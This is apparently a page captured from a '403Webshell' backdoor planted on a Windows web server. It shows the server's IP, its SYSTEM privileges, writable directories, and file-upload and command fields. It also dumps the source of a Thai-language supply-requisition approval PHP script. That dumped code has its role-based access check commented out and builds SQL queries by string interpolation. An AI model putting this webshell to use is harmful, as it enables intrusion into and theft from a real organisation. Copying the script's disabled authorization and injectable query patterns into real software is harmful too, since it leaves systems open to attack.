403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/supply_system/requisitions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/supply_system/requisitions/action_supply_approve.php
<?php
include_once __DIR__ . '/../config.php';
include_once __DIR__ . '/../functions.php';
include_once __DIR__ . '/../includes/auth_check.php';
// requireRole(['admin', 'supply_manager']); // Ensure only authorized users can access

$message = '';
$message_type = 'danger'; // Default to error
$req_id = 0; // Initialize req_id

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['requisition_id'])) {
    $req_id = intval($_POST['requisition_id']);
    $approved_quantities = isset($_POST['approved_quantity']) && is_array($_POST['approved_quantity']) ? $_POST['approved_quantity'] : [];
    $detail_remarks = isset($_POST['detail_remarks']) && is_array($_POST['detail_remarks']) ? $_POST['detail_remarks'] : [];
    $supply_remarks = isset($_POST['supply_remarks']) ? sanitize_input($conn, $_POST['supply_remarks']) : '';
    $user_id = getUserData('user_id');
    $now_datetime = date('Y-m-d H:i:s');
    $grand_total_value = 0; // Initialize grand total value for the requisition

    // --- Validate Requisition Status ---
    $sql_check = "SELECT r.id, r.status, r.requisition_no, r.requested_by, r.head_approved_by, d.dept_name
                  FROM requisitions r
                  JOIN departments d ON r.department_id = d.id
                  WHERE r.id = $req_id";
    $result_check = mysqli_query($conn, $sql_check);

    if ($result_check && $req = mysqli_fetch_assoc($result_check)) {
        if ($req['status'] != 'head_approved') {
            $message = "ไม่สามารถดำเนินการได้ สถานะปัจจุบันไม่ใช่ 'รอฝ่ายพัสดุอนุมัติ'";
        } else {
            // --- Start Transaction ---
            mysqli_begin_transaction($conn);
            $all_updates_successful = true;

            try {
                // --- Process each detail item ---
                foreach ($approved_quantities as $detail_id => $approved_qty_str) {
                    $detail_id = intval($detail_id);
                    $approved_qty = intval($approved_qty_str);
                    $item_remark = isset($detail_remarks[$detail_id]) ? sanitize_input($conn, $detail_remarks[$detail_id]) : '';
                    $item_total_value = 0;
                    $item_unit_price = 0;

                    // Fetch supply_id for this detail_id
                    $sql_get_supply = "SELECT supply_id FROM requisition_details WHERE id = $detail_id AND requisition_id = $req_id";
                    $res_get_supply = mysqli_query($conn, $sql_get_supply);
                    if (!$res_get_supply || mysqli_num_rows($res_get_supply) == 0) {
                        throw new Exception("ไม่พบรายการเบิกย่อย ID: $detail_id สำหรับคำขอ ID: $req_id");
                    }
                    $supply_data = mysqli_fetch_assoc($res_get_supply);
                    $supply_id = intval($supply_data['supply_id']);
                    mysqli_free_result($res_get_supply);

                    if ($approved_qty > 0) {
                        // --- Call ConsumeStock Stored Procedure ---
                        // Note: Ensure remarks passed to SP are properly escaped and handled.
                        $consume_remarks = "ตัดจ่ายตามคำขอเบิก ".$req['requisition_no']." (".$req['dept_name'].")";

                        // Sanitize remarks before putting into SQL string
                        $consume_remarks_escaped = mysqli_real_escape_string($conn, $consume_remarks);

                        $sql_call_sp = "CALL ConsumeStock(
                            $supply_id,
                            $approved_qty,
                            'requisition',  -- reference_type
                            $req_id,         -- reference_id
                            '{$req['requisition_no']}', -- reference_no (ensure quotes for string)
                            $user_id,        -- performed_by
                            '$consume_remarks_escaped' -- remarks
                        )";

                        $result_sp = mysqli_query($conn, $sql_call_sp);

                        if ($result_sp) {
                            $sp_output = mysqli_fetch_assoc($result_sp);
                            $consumed_qty = isset($sp_output['consumed_quantity']) ? intval($sp_output['consumed_quantity']) : 0;
                            $item_total_value = isset($sp_output['total_value_consumed']) ? floatval($sp_output['total_value_consumed']) : 0;

                             // Clear possible multiple result sets from SP call
                             while (mysqli_more_results($conn) && mysqli_next_result($conn)) {;}


                            if ($consumed_qty != $approved_qty) {
                                // This case *shouldn't* happen if approve_form caps correctly, but check just in case SP logic differs or stock changes
                                throw new Exception("เกิดข้อผิดพลาด: ระบบตัดจ่ายพัสดุ ID $supply_id ได้เพียง $consumed_qty หน่วย (ต้องการ $approved_qty). กรุณาตรวจสอบสต็อก");
                            }

                            if ($consumed_qty > 0) {
                                $item_unit_price = $item_total_value / $consumed_qty;
                                $grand_total_value += $item_total_value;
                            } else {
                                $item_unit_price = 0;
                            }

                        } else {
                             // Get error *before* rollback if possible
                             $sp_error = mysqli_error($conn);
                             // Clear possible multiple result sets from SP call even on error
                             while (mysqli_more_results($conn) && mysqli_next_result($conn)) {;}
                             throw new Exception("Stored Procedure ConsumeStock ล้มเหลวสำหรับ Supply ID $supply_id: " . $sp_error);
                        }

                    } // end if ($approved_qty > 0)

                    // --- Update requisition_details ---
                     $sql_update_detail = "UPDATE requisition_details
                                          SET approved_quantity = $approved_qty,
                                              unit_price = $item_unit_price,
                                              total_value = $item_total_value,
                                              remarks = '$item_remark'
                                          WHERE id = $detail_id";

                    if (!mysqli_query($conn, $sql_update_detail)) {
                         throw new Exception("เกิดข้อผิดพลาดในการอัปเดตรายการเบิกย่อย ID $detail_id: " . mysqli_error($conn));
                    }

                } // end foreach

                // --- Update main requisitions table ---
                 $sql_update_req = "UPDATE requisitions
                                   SET status = 'approved',
                                       approved_by = $user_id,
                                       approved_date = '$now_datetime',
                                       total_value = $grand_total_value,
                                       remarks = '$supply_remarks' -- Store supply manager's overall remarks
                                   WHERE id = $req_id";

                if (!mysqli_query($conn, $sql_update_req)) {
                     throw new Exception("เกิดข้อผิดพลาดในการอัปเดตคำขอเบิกหลัก: " . mysqli_error($conn));
                }

                // --- Commit Transaction ---
                mysqli_commit($conn);

                // --- TODO: Notification Logic ---
                // Notify Original Requester (user_id = $req['requested_by'])
                // Notify Head of Department (user_id = $req['head_approved_by'])

                $message = "อนุมัติคำขอเบิกเลขที่ " . htmlspecialchars($req['requisition_no']) . " และตัดจ่ายพัสดุเรียบร้อยแล้ว มูลค่ารวม: " . number_format($grand_total_value, 2) . " บาท";
                $message_type = 'success';
                $_SESSION['message'] = $message;
                $_SESSION['message_type'] = $message_type;
                mysqli_close($conn);
                redirect('list_pending_supply.php'); // Redirect back to the pending list

            } catch (Exception $e) {
                mysqli_rollback($conn);
                $message = $e->getMessage();
                $message_type = 'danger';
            }
        }
        mysqli_free_result($result_check);
    } else {
        $message = "ไม่พบคำขอเบิก ID: $req_id หรือสถานะไม่ถูกต้อง";
    }

} else {
    // Redirect if accessed incorrectly
    redirect('list_pending_supply.php');
}

// --- Display Error Message if Redirect Failed ---
if (!empty($message) && $message_type == 'danger') {
    $page_title = "ผลการดำเนินการอนุมัติ";
    include_once __DIR__ . '/../includes/header.php';
    include_once __DIR__ . '/../includes/sidebar_supply.php';
    ?>
    <div class="container-fluid">
        <h1 class="mt-4"><?php echo $page_title; ?></h1>
        <div class="alert alert-danger" role="alert">
            <?php echo htmlspecialchars($message); ?>
        </div>
        <?php if ($req_id > 0): ?>
            <a href="approve_form.php?id=<?php echo $req_id; ?>" class="btn btn-warning">ลองอีกครั้ง</a>
        <?php endif; ?>
        <a href="list_pending_supply.php" class="btn btn-secondary"><i class="bi bi-arrow-left"></i> กลับไปรายการรออนุมัติ</a>
    </div>
    <?php
    include_once __DIR__ . '/../includes/footer.php';
    // Ensure connection is closed if it was opened and an error occurred before explicit close
    if (isset($conn) && $conn) {
         mysqli_close($conn);
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit